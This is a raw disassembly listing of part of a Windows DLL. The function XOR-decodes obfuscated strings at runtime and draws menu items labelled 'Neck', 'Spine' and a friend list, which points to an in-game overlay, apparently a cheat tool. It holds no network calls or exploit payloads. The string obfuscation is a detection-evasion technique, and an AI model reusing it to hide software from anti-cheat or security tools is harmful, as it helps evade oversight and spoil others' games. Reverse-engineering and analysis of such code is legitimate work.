lea rcx, [rbp - 0x4c]
call fcn.180047390
movsd xmm0, qword [0x180183000]
movsd qword [rbp + 0x3e8], xmm0
movzx eax, word [0x180183008]
mov word [rbp + 0x3f0], ax
cmp byte [0x180183009], 0
je 0x1800c2acb
mov byte [rbp + 0x3e8], 0x53
xor byte [rbp + 0x3e9], 0x37
xor byte [rbp + 0x3ea], 0x38
xor byte [rbp + 0x3eb], 0x39
xor byte [rbp + 0x3ec], 0x3a
xor byte [rbp + 0x3ed], 0x3b
xor byte [rbp + 0x3ee], 0x3c
xor byte [rbp + 0x3ef], 0x3d
xor byte [rbp + 0x3f0], 0x3e
xor byte [rbp + 0x3f1], 0x3f
mov dword [rsp + 0x28], edi
lea rax, str._.3f
mov qword [rsp + 0x20], rax
movss xmm3, dword [0x180138da0]
movss xmm2, dword [0x180138b60]
lea rdx, [0x1801ae948]
lea rcx, [rbp + 0x3e8]
call fcn.180047340
lea rax, [0x1801834a0]
mov qword [rbp + 0x1b50], rax
lea rax, str.Neck
mov qword [rbp + 0x1b58], rax
lea rax, str.Spine
mov qword [rbp + 0x1b60], rax
mov eax, dword [str.tXVI_]
mov dword [rbp + 0xc], eax
movzx eax, word [0x180183010]
mov word [rbp + 0x10], ax
mov byte [rbp + 0xc], 0x42
xor byte [rbp + 0xd], 0x37
xor byte [rbp + 0xe], 0x38
xor byte [rbp + 0xf], 0x39
xor al, 0x3a
mov byte [rbp + 0x10], al
xor byte [rbp + 0x11], 0x3b
mov dword [rsp + 0x20], esi
mov r9d, 3
lea r8, [rbp + 0x1b50]
lea rdx, [0x1802b448c]
lea rcx, [rbp + 0xc]
call fcn.180040af0
movsd xmm0, qword [str._KPXWY]
movsd qword [rbp + 0x688], xmm0
mov ecx, dword [str.W___C]
mov dword [rbp + 0x690], ecx
movzx eax, word [0x180183024]
mov word [rbp + 0x694], ax
cmp byte [0x180183025], 0
je 0x1800c2d53
mov r8d, edi
cmp r15d, 2
jl 0x1800c2d08
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm7
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm13
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [str._KPXWY]
xorps xmm1, xmm0
movd dword [rbp + 0x688], xmm1
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x68c]
xorps xmm2, xmm1
movd dword [rbp + 0x68c], xmm2
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm7
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, ecx
xorps xmm2, xmm1
movd dword [rbp + 0x690], xmm2
mov r8d, ntohl
mov eax, r8d
lea r9, [rbp + 0x688]
add r9, rax
nop word [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x1800c2d20
mov r8, r12
lea rdx, [0x1802b448b]
lea rcx, [rbp + 0x688]
call fcn.18003fb10
movsd xmm0, qword [str.sO_UO_Y]
movsd qword [rbp + 0x698], xmm0
mov ecx, dword [str.zZ__1C]
mov dword [rbp + 0x6a0], ecx
movzx eax, word [0x180183034]
mov word [rbp + 0x6a4], ax
cmp byte [0x180183035], 0
je 0x1800c2f43
mov r8d, edi
cmp r15d, 2
jl 0x1800c2efb
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm7
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm13
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [str.sO_UO_Y]
xorps xmm1, xmm0
movd dword [rbp + 0x698], xmm1
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x69c]
xorps xmm2, xmm1
movd dword [rbp + 0x69c], xmm2
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm7
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, ecx
xorps xmm2, xmm1
movd dword [rbp + 0x6a0], xmm2
mov r8d, ntohl
mov eax, r8d
lea r9, [rbp + 0x698]
add r9, rax
nop dword [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x1800c2f10
mov r8, r12
lea rdx, [0x1802b4490]
lea rcx, [rbp + 0x698]
call fcn.18003fb10
movsd xmm0, qword [str.bVJ_O]
movsd qword [rbp + 0x528], xmm0
mov ecx, dword [0x180183040]
mov dword [rbp + 0x530], ecx
cmp byte [0x180183043], 0
je 0x1800c3112
mov r8d, edi
cmp r15d, 2
jl 0x1800c30d9
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm7
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm13
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [str.bVJ_O]
xorps xmm1, xmm0
movd dword [rbp + 0x528], xmm1
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x52c]
xorps xmm2, xmm1
movd dword [rbp + 0x52c], xmm2
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm7
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, ecx
xorps xmm2, xmm1
movd dword [rbp + 0x530], xmm2
jmp 0x1800c3112
lea r9, [rbp + 0x528]
mov eax, 0x24924925
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x1800c30e0
mov r8, r12
lea rdx, [0x1802b4493]
lea rcx, [rbp + 0x528]
call fcn.18003fb10
mov cl, 1
call fcn.18000c5c0
mov dword [rbp + 0x228], 0x439d0000
mov dword [rbp + 0x22c], 0x41400000
lea rcx, [rbp + 0x228]
call fcn.18001a0a0
mov dword [rbp + 0x230], 0x43910000
mov dword [rbp + 0x234], 0x43620000
movsd xmm1, qword [str.pEQT_]
movsd qword [rbp + 0x4e8], xmm1
mov ecx, dword [0x180183050]
mov dword [rbp + 0x4f0], ecx
cmp byte [0x180183053], 0
je 0x1800c3322
mov r8d, edi
cmp r15d, 2
jl 0x1800c32e3
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm7
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm13
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [str.pEQT_]
xorps xmm1, xmm0
movd dword [rbp + 0x4e8], xmm1
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x4ec]
xorps xmm2, xmm1
movd dword [rbp + 0x4ec], xmm2
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm7
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, ecx
xorps xmm2, xmm1
movd dword [rbp + 0x4f0], xmm2
jmp 0x1800c3322
lea r9, [rbp + 0x4e8]
nop word [rax + rax]
mov eax, 0x24924925
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x1800c32f0
mov qword [rsp + 0x28], r12
lea rax, [0x18017cbc0]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x230]
lea rcx, [rbp + 0x4e8]
call fcn.180008f00
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x1810], xmm0
mov qword [rbp + 0x1820], rax
lea rcx, [rbp + 0x1810]
call fcn.1800b0d50
nop
mov r12, qword [rbp + 0x1810]
mov rax, qword [rbp + 0x1818]
mov qword [rsp + 0x60], rax
cmp r12, rax
je 0x1800c3742
nop dword [rax + rax]
mov rcx, qword [r12]
mov rax, qword [0x1801ae8f0]
mov rcx, qword [rcx + rax]
mov rax, qword [0x1801ae900]
mov rdi, qword [rcx + rax]
mov qword [rsp + 0x70], rdi
add rcx, 0x20
mov rax, qword [0x1802b4400]
call rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x18a8], xmm0
xor r14d, r14d
mov qword [rbp + 0x18b8], r14
mov qword [rbp + 0x18c0], r14
mov r8, rsi
nop word [rax + rax]
inc r8
cmp byte [rax + r8], r14b
jne 0x1800c33e0
mov rdx, rax
lea rcx, [rbp + 0x18a8]
call fcn.18003d5d0
nop
mov dword [rbp - 0x48], edi
lea rdx, [rbp - 0x48]
lea rcx, [0x1802b4498]
call fcn.180097660
mov qword [rsp + 0x48], rax
lea r10, [rbp + 0x1b7d]
mov r9, rdi
movabs rbx, 0xcccccccccccccccd
nop word [rax + rax]
dec r10
mov rax, rbx
mul r9
shr rdx, 3
movzx ecx, dl
shl cl, 2
lea r8d, [rcx + rdx]
add r8b, r8b
sub r9b, r8b
add r9b, 0x30
mov byte [r10], r9b
mov r9, rdx
test rdx, rdx
jne 0x1800c3430
movzx ebx, byte [rsp + 0x40]
lea r9, [rsp + 0x40]
lea r8, [rbp + 0x1b7d]
mov rdx, r10
lea rcx, [rbp + 0xe98]
call fcn.1800621f0
or r13d, 6
mov dword [rsp + 0x68], r13d
mov r13, qword [rbp + 0x18b8]
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
sub rax, r13
cmp rax, 2
jb 0x1800cb485
lea rax, [rbp + 0x18a8]
cmp qword [rbp + 0x18c0], 0xf
cmova rax, qword [rbp + 0x18a8]
mov qword [rsp + 0x50], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0xeb8], xmm0
mov qword [rbp + 0xec8], r14
mov qword [rbp + 0xed0], r14
lea r14, [r13 + 2]
mov edi, reloc.WS2_32.dll_ntohs
lea rsi, [rbp + 0xeb8]
cmp r14, rdi
jbe 0x1800c3575
mov rdi, r14
or rdi, 0xf
cmp rdi, rcx
jbe 0x1800c3512
mov rdi, rcx
movabs rax, 0x8000000000000000
add rax, 0x27
jmp 0x1800c3542
cmp rdi, 0x16
mov ecx, reloc.WLDAP32.dll_Ordinal_22
cmovb rdi, rcx
lea rcx, [rdi + 1]
test rcx, rcx
jne 0x1800c352c
xor esi, esi
jmp 0x1800c356e
cmp rcx, 0x1000
jb 0x1800c3561
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1800cb47f
mov rcx, rax
call fcn.18012e4dc
test rax, rax
je 0x1800c3b46
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x1800c3569
call fcn.18012e4dc
mov rsi, rax
mov rax, qword [rsp + 0x50]
mov qword [rbp + 0xeb8], rsi
mov qword [rbp + 0xec8], r14
mov qword [rbp + 0xed0], rdi
mov r8, r13
mov rdx, rax
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
mov word [rsi + r13], 0x2323
mov byte [rsi + r14], 0
mov r13d, dword [rsp + 0x68]
or r13d, 8
lea r9, [rbp + 0xe98]
lea r8, [rbp + 0xeb8]
movzx edx, bl
lea rcx, [rbp + 0xed8]
call fcn.18006d3d0
or r13d, 0x10
lea rcx, [rbp + 0xed8]
cmp qword [rbp + 0xef0], 0xf
cmova rcx, qword [rbp + 0xed8]
lea r8, [0x180137dc6]
mov rdx, qword [rsp + 0x48]
call fcn.18003fb10
movzx edi, al
mov r8, qword [rbp + 0xef0]
cmp r8, 0xf
jbe 0x1800c3612
mov rdx, qword [rbp + 0xed8]
lea rcx, [rbp + 0xed8]
call fcn.180049890
xor esi, esi
mov qword [rbp + 0xee8], rsi
mov qword [rbp + 0xef0], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0xed8], sil
mov r8, qword [rbp + 0xed0]
cmp r8, 0xf
jbe 0x1800c364d
mov rdx, qword [rbp + 0xeb8]
lea rcx, [rbp + 0xeb8]
call fcn.180049890
mov qword [rbp + 0xec8], rsi
mov qword [rbp + 0xed0], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0xeb8], 0
mov r8, qword [rbp + 0xeb0]
cmp r8, 0xf
jbe 0x1800c3686
mov rdx, qword [rbp + 0xe98]
lea rcx, [rbp + 0xe98]
call fcn.180049890
mov qword [rbp + 0xea8], rsi
mov qword [rbp + 0xeb0], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0xe98], 0
test dil, dil
je 0x1800c36dc
mov rax, qword [rsp + 0x70]
mov dword [rbp - 0x44], eax
lea rdx, [rbp - 0x44]
lea rcx, [0x1802b4498]
call fcn.180097660
lea rcx, str.Friend_List
cmp byte [rax], 0
lea rdx, str.You_have_successfully_included_player_as_a_friend
jne 0x1800c36d6
lea rdx, str.You_have_successfully_removed_player_as_a_friend
call fcn.1800a5610
nop
mov r8, qword [rbp + 0x18c0]
cmp r8, 0xf
jbe 0x1800c36fc
mov rdx, qword [rbp + 0x18a8]
lea rcx, [rbp + 0x18a8]
call fcn.180049890
xor edi, edi
mov qword [rbp + 0x18b8], rdi
mov qword [rbp + 0x18c0], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x18a8], dil
add r12, 8
mov rsi, 0xffffffffffffffff
cmp r12, qword [rsp + 0x60]
jne 0x1800c3390
mov r12, qword [rbp + 0x1810]
lea rbx, [0x1801389e8]
mov r14, qword [rbp + 0xb0]
test r12, r12
je 0x1800c3776
mov r8, qword [rbp + 0x1820]
sub r8, r12
sar r8, 3
mov rdx, r12
lea rcx, [rbp + 0x1810]
call fcn.1800727b0
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x1810], xmm0
mov qword [rbp + 0x1820], rdi
mov cl, 1
call fcn.18000c5c0
mov dword [rbp + 0x238], 0x41400000
mov dword [rbp + 0x23c], 0x439d8000
lea rcx, [rbp + 0x238]
call fcn.18001a0a0
movzx eax, word [0x180183064]
mov word [rbp - 0x5c], ax
mov dword [rbp + 0x240], 0x43910000
mov dword [rbp + 0x244], 0x43070000
movsd xmm1, qword [str.eTTO]
movzx eax, word [0x180183060]
movsd qword [rbp + 0x478], xmm1
mov word [rbp + 0x480], ax
movzx eax, byte [0x180183062]
cmp byte [0x180183065], 0
je 0x1800c37f2
mov byte [rbp - 0x5c], 0x34
xor byte [rbp - 0x5b], 0x37
mov byte [rbp + 0x478], 0x53
xor byte [rbp + 0x479], 0x37
xor byte [rbp + 0x47a], 0x38
xor byte [rbp + 0x47b], 0x39
xor byte [rbp + 0x47c], 0x3a
xor byte [rbp + 0x47d], 0x3b
xor byte [rbp + 0x47e], 0x3c
xor byte [rbp + 0x47f], 0x3d
xor byte [rbp + 0x480], 0x3e
xor byte [rbp + 0x481], 0x3f
xor al, 0x40
mov byte [rbp + 0x482], al
lea r12, [0x180137dc6]
mov qword [rsp + 0x28], r12
lea rax, [rbp - 0x5c]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x240]
lea rcx, [rbp + 0x478]
call fcn.180008f00
movsd xmm0, qword [str.sYY_V]
movsd qword [rbp + 0x6a8], xmm0
mov ecx, dword [0x180183070]
mov dword [rbp + 0x6b0], ecx
movzx eax, word [0x180183074]
mov word [rbp + 0x6b4], ax
cmp byte [0x180183075], 0
je 0x1800c3a43
mov r8d, edi
cmp r15d, 2
jl 0x1800c3a00
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm7
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm13
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [str.sYY_V]
xorps xmm1, xmm0
movd dword [rbp + 0x6a8], xmm1
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x6ac]
xorps xmm2, xmm1
movd dword [rbp + 0x6ac], xmm2
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm7
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, ecx
xorps xmm2, xmm1
movd dword [rbp + 0x6b0], xmm2
mov r8d, ntohl
mov eax, r8d
lea r9, [rbp + 0x6a8]
add r9, rax
nop dword [rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x1800c3a10
mov r8, r12
lea rdx, [0x1802b4494]
lea rcx, [rbp + 0x6a8]
call fcn.18003fb10
movsd xmm0, qword [str.e_WN]
movzx eax, byte [0x180183080]
movsd qword [rbp + 0x378], xmm0
mov byte [rbp + 0x378], 0x53
xor byte [rbp + 0x379], 0x37
xor byte [rbp + 0x37a], 0x38
xor byte [rbp + 0x37b], 0x39
xor byte [rbp + 0x37c], 0x3a
xor byte [rbp + 0x37d], 0x3b
xor byte [rbp + 0x37e], 0x3c
xor byte [rbp + 0x37f], 0x3d
xor al, 0x3e
mov byte [rbp + 0x380], al
mov r8, r12
lea rdx, [0x1802b4496]
lea rcx, [rbp + 0x378]
call fcn.18003fb10
mov eax, dword [str.pxn9yCPHH_]
mov dword [rbp - 0x40], eax
cmp byte [reloc.WS2_32.dll_gethostname], 0
je 0x1800c3b83
mov r8d, edi
cmp r15d, 2
jl 0x1800c3b4d
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm7
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm13
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp - 0x40], xmm1
jmp 0x1800c3b83
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
lea r10, [rbp - 0x40]
mov eax, 0x24924925
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r10], al
inc r8d
lea r10, [r10 + 1]
cmp r8d, 4
jl 0x1800c3b51
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rbx
mov r9d, reloc.WLDAP32.dll_Ordinal_50
mov r8d, 1
lea rdx, [0x1801ae94c]
lea rcx, [rbp - 0x40]
call fcn.180047390
mov cl, 1
call fcn.18000c5c0
mov dword [rbp + 0x248], 0x439d0000
mov dword [rbp + 0x24c], 0x437a0000
lea rcx, [rbp + 0x248]
call fcn.18001a0a0
movzx eax, word [0x180183090]
mov word [rbp - 0x58], ax
mov dword [rbp + 0x250], 0x43910000
mov dword [rbp + 0x254], 0x42d20000
mov eax, dword [0x180183088]
mov dword [rbp + 0x24], eax
movzx eax, word [0x18018308c]
mov word [rbp + 0x28], ax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
cmp byte [0x180183091], 0
je 0x1800c3c1a
mov byte [rbp - 0x58], 0x33
xor byte [rbp - 0x57], 0x37
mov byte [rbp + 0x24], reloc.WLDAP32.dll_Ordinal_79
xor byte [rbp + 0x25], 0x37
xor byte [rbp + 0x26], 0x38
xor byte [rbp + 0x27], 0x39
xor byte [rbp + 0x28], 0x3a
xor byte [rbp + 0x29], 0x3b
xor al, 0x3c
mov byte [rbp + 0x2a], al
mov qword [rsp + 0x28], r12
lea rax, [rbp - 0x58]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x250]
lea rcx, [rbp + 0x24]
call fcn.180008f00
movsd xmm0, qword [0x180183098]
movsd qword [rbp + 0x3d8], xmm0
movzx eax, word [0x1801830a0]
mov word [rbp + 0x3e0], ax
cmp byte [0x1801830a1], 0
je 0x1800c3cc8
mov byte [rbp + 0x3d8], Ordinal_79
xor byte [rbp + 0x3d9], 0x37
xor byte [rbp + 0x3da], 0x38
xor byte [rbp + 0x3db], 0x39
xor byte [rbp + 0x3dc], 0x3a
xor byte [rbp + 0x3dd], 0x3b
xor byte [rbp + 0x3de], 0x3c
xor byte [rbp + 0x3df], 0x3d
xor byte [rbp + 0x3e0], 0x3e
xor byte [rbp + 0x3e1], 0x3f
mov r8, r12
lea rdx, [0x1802b4492]
lea rcx, [rbp + 0x3d8]
call fcn.18003fb10
movsd xmm0, qword [0x1801830a8]
movsd qword [rbp + 0x3c8], xmm0
movzx eax, word [0x1801830b0]
mov word [rbp + 0x3d0], ax
cmp byte [0x1801830b1], 0
je 0x1800c3d4b
mov byte [rbp + 0x3c8], Ordinal_79
xor byte [rbp + 0x3c9], 0x37
xor byte [rbp + 0x3ca], 0x38
xor byte [rbp + 0x3cb], 0x39
xor byte [rbp + 0x3cc], 0x3a
xor byte [rbp + 0x3cd], 0x3b
xor byte [rbp + 0x3ce], 0x3c
xor byte [rbp + 0x3cf], 0x3d
xor byte [rbp + 0x3d0], 0x3e
xor byte [rbp + 0x3d1], 0x3f
mov r8, r12
lea rdx, [0x1802b4491]
lea rcx, [rbp + 0x3c8]
call fcn.18003fb10
mov cl, 1
call fcn.18000c5c0
xor ecx, ecx
call fcn.18000c5c0
cmp dword [0x1802b4a94], 3
jne 0x1800c44c4
lea rcx, [0x1801ad070]
call fcn.18000b470
movss xmm3, dword [rbp + 0x17c4]
movaps xmm1, xmm3
addss xmm1, xmm12
movss xmm2, dword [rbp + 0x17c0]
movaps xmm0, xmm2
addss xmm0, dword [0x180184994]
movss dword [rbp + 0x258], xmm0
movss dword [rbp + 0x25c], xmm1
addss xmm3, dword [0x180138bbc]
movss xmm14, dword [0x180138da8]
addss xmm2, xmm14
movss dword [rbp + 0x260], xmm2
movss dword [rbp + 0x264], xmm3
mov dword [rsp + 0x28], edi
xorps xmm0, xmm0
movss dword [rsp + 0x20], xmm0
mov r9d, eax
lea r8, [rbp + 0x258]
lea rdx, [rbp + 0x260]
mov rcx, r14
call fcn.180021da0
mov dword [rbp + 0x268], 0x42c20000
mov dword [rbp + 0x26c], 0x41400000
lea rcx, [rbp + 0x268]
call fcn.18001a0a0
call fcn.180009b80
mov rax, qword [str.fE_TSNQpEYT__b_]
mov qword [rbp + 0x270], rax
cmp byte [0x1801830bf], 0
je 0x1800c3f72
mov r8d, edi
cmp r15d, 2
jl 0x1800c3f33
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm7
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
